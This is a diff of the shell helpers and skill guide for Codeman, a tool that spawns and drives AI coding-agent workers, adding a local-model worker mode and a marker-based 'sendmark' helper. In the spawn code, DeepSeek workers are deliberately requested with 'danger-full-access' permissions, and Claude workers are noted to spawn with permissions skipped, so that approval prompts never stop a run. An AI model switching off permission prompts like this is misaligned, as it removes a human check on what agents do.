# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -256,21 +382,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -316,10 +457,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -353,7 +494,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -418,6 +559,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -440,10 +683,10 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
PREAMBLE
)
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
```
Every later Bash call that touches the API starts with the same two loader lines from
@@ -494,7 +737,7 @@ and no per-call body to hand-build.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
N=(alpha beta) # INVENT one fresh case name per worker; never list cases first
# (a name may carry a mode: `beta:deepseek`, see below)
T=('reply with one line: the absolute path of your working directory'
@@ -541,8 +784,8 @@ the time went into deliberation, not the API. The four things that actually cost
polled pid for nothing, and shipped its workers without lineage.
- **Verifying what is already checked for you.** Two verifications specifically are not
worth a call here, because `spawn_worker` carries them: the hooks check (it refuses a
name that resolved to a hook-less directory with one local grep, so a worker it hands
back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
name that resolved to a hook-less directory with one local grep, so a claude worker it
hands back always has a working `stop` and `sendwait` is trustworthy), and the pid poll,
which is dead weight because `wait-output` already blocks on the composer.
Four things this block leans on, each one link away, no detour needed to run it:
@@ -602,6 +845,71 @@ Three things to know before you spawn one:
worker whose pane clearly finished: that profile is one of them, so drive it with
markers instead.
### Claude in the cloud, a local model on this Mac
When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
on its welcome screen), you can hand work to that model from here. You stay the planner and
the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
other mode: `spawn_workers plan review:deepseek summ:local`.
Reach for it when:
- **The work is bulk, not judgment**: summarizing a folder, classifying, first drafts of
tests, boilerplate. A local turn has no per-token bill.
- **The files should stay on this machine**: the worker reads them here, and only what you
read back from it enters your own context.
- **You want a second opinion from a different model**, with different blind spots.
- **The worker should not depend on the network**: the model's runtime listens on this Mac
only, started with its cloud features off. You, the lead, still need a connection.
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null # §0 loader
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
local_model || exit 1 # one JSON line: model, agent, endpoint; or the reason there is none
SID=$(spawn_worker summ local) || exit 1 # starts a stopped runtime first; empty = failed
WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/" # inside its own folder (§5.9), apart from its CLAUDE.md
R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
jq -r '.answer // "(no answer)"' <<<"$R"
if [ "$RC" = 0 ]; then delete_session "$SID" >/dev/null
else echo "kept $SID (sendmark rc $RC: 2 no answer yet, 3 ended, 4 no answer file): $R"; fi
```
`sendmark` is the local worker's `sendwait`: it adds one sentence to your prompt asking for
the answer in `codeman-answer-<token>.md` in the worker's folder and then a split marker,
waits for the marker with `wait-output`, and reads the file back. OpenCode can draw the
marker in pieces that never match, so a file that holds still between two checks ends the
wait too ([§5.16](reference/verbs.md#516-a-worker-on-the-local-model)). Read its `answer`,
not the pane: a full-screen agent's pane is a poor transcript. ⚠️ A marker proves that the model
printed a token, not that the work is done or right. Review what comes back the way you
would review any first draft.
The limits, before you promise the user anything:
- **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
window. This skill never installs one: that is a download of many gigabytes the person
confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
`install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
instead of guessing.
- **One model, one request at a time.** The runtime loads one model and answers one request
at a time, so two local workers take turns rather than work side by side. Fan out to the
cloud; give the Mac a queue.
- **Slower than a cloud model.** The one measured pair, OpenCode with Qwen3.6 35B-A3B on an
M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
loads the model first. A local worker run by claude spends minutes on its first answer
(its fixed prompt is about 36,000 tokens).
- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
that worker; `sendmark` is the way through. If the installed agent is claude, the worker
has hooks and `sendwait` works as for any claude worker.
- **Spawning can change what the person set.** A stopped runtime is started, which also
undoes the person's Stop: it then starts with Codeman again. And while a local worker is
open, the window refuses Stop and Remove and names your workers, so delete them as soon
as they are done.
- **Admin only in multi-user mode, and experimental.** The local model routes answer 403
for anyone else (`admin-only`), and they may change in any release.
## 2. What do you want to do?
One row per job. Acting on this table alone is correct; the §5 links are the detail.
@@ -611,7 +919,8 @@ One row per job. Acting on this table alone is correct; the §5 links are the de
| start a worker **where the work is** | `POST /api/v1/quick-start {"caseName":…}`, which **creates** `~/codeman-cases/<name>` unless the name is already a case. Any other path (a git worktree): `POST /api/v1/sessions {"workingDir":…}` then `POST /api/v1/sessions/:id/interactive`. Both install hooks by default, so expect full signals in either, and **verify** rather than assume. N workers means N worktrees | [§5.1](reference/verbs.md#51-where-to-spawn) |
| know a new worker can accept a prompt | `GET .../wait-output?match=shift+tab&from=buffer` (urlencode the `+`); a `deepseek` worker draws `❯` instead, and its boot `stop` fires ~300 ms BEFORE that, so never read the signal as readiness | [§5.2](reference/verbs.md#52-readiness) |
| deliver a task **and** know when it finished | `POST .../input` with `"input":"…\r"`, `clientId`, `seq`, `"wait":true`. Resolves on `stop`, so it is trustworthy where the signal is real: claude mode with hooks (installed by default, but the operator can disable it and remote sessions never get them) and `deepseek` mode through its status bridge. Costs the worker one billed turn | [§5.3](reference/verbs.md#53-send-a-task-and-wait) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| know a hook-less worker finished | it has no `stop`, and `wait:true` there resolves on flapping `idle` **without erroring**: make it print a split, unique marker and `wait-output` on that instead. For an agent worker, `sendmark <sid> "<prompt>"` does all of it and reads the answer back | [§5.5](reference/verbs.md#55-markers-for-hook-less-workers) |
| hand work to the local model on this Mac (cheap bulk work, files that stay here, a second opinion) | `local_model` says what is installed; `spawn_worker <name> local` (or `name:local` in `spawn_workers`) starts a worker on it; `sendmark` tasks it and returns the answer | [Local model](#claude-in-the-cloud-a-local-model-on-this-mac), [§5.16](reference/verbs.md#516-a-worker-on-the-local-model) |
| read the answer | `GET .../last-response`, **polled** (claude, codex and deepseek write a transcript; empty for the other modes) | [§5.4](reference/verbs.md#54-read-the-answer) |
| know if it is alive | `GET .../wait?until=exit&timeout=1000`: an immediate `signal:"exit"` means dead. `status` and `pid` both lie | [§5.6](reference/verbs.md#56-alive-and-stuck) |
| know if it is stuck | `GET .../active-tools` and `GET .../run-summary` are structured and free; two `terminal?tail=` samples are the crude fallback | [§5.6](reference/verbs.md#56-alive-and-stuck) |
@@ -727,6 +1036,7 @@ these**; open the one row you actually hit.
| [5.13 Messaging claude workers](reference/verbs.md#513-messaging-claude-workers) | `ListAgents` / `SendMessage` instead of the HTTP path |
| [5.14 Clean up](reference/verbs.md#514-clean-up) | what deleting a session does **not** remove, and how to list the case dirs you left |
| [5.15 Agent inbox](reference/verbs.md#515-agent-inbox) | messages that wait for the receiver instead of being typed: post, read until ack, who counts as the receiver |
| [5.16 A worker on the local model](reference/verbs.md#516-a-worker-on-the-local-model) | what `local_model` answers, what `spawn_worker <name> local` does step by step, and every `sendmark` outcome |
## 6. Setup and auth
+242 -16
View File
@@ -1,4 +1,4 @@
# ---- Codeman agent preamble 1.44.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
# Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
# replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
# from that body (test/agent-skill.test.ts pins it).
@@ -49,11 +49,15 @@ _composer_up() { # <sid> <timeoutMs> -> "true"/"false". `shift+tab` is the one
--data-urlencode 'match=shift+tab' --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
}
_mark_up() { # <sid> <mark> <timeoutMs> -> "true"/"false": a literal, space-free token
# in the pane's output, read from the buffer so a composer drawn before the wait counts.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${2}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${3}" | jq -r '.data.wait.matched // false'
}
_dsh_up() { # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness TUI's
# composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
"${CURL[@]}" -G "$API/api/v1/sessions/${1}/wait-output" \
--data-urlencode "match=${DSH_READY_MARK:-❯}" --data-urlencode 'from=buffer' \
--data-urlencode "timeout=${2}" | jq -r '.data.wait.matched // false'
_mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
}
# ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
# Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
@@ -113,21 +117,126 @@ _accept_trust() { # <sid> -> 0 once it has answered the dialog, 1 if it could n
done
return 1
}
# ---- the local model: the model Codeman installed on this Mac, as a worker ----
# local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
# spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
# {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
# "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
# Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
# refuses a session now: the model changed on disk, another program holds the port, the
# runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
# local models, 404), unauthorized (401, §6), unreachable, error.
# One GET of an EXPERIMENTAL route. It downloads, installs and starts nothing: installing is
# a person's decision, made in Codeman's "Run a local model" window.
local_model() {
local r code body out
r=$("${CURL[@]}" -w '\n%{http_code}' "$API/api/v1/local-model")
code=${r##*$'\n'}; body=${r%$'\n'*}
case "$code" in
200) out=$(jq -c '
def say: (.text // "") as $t
| reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
.data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
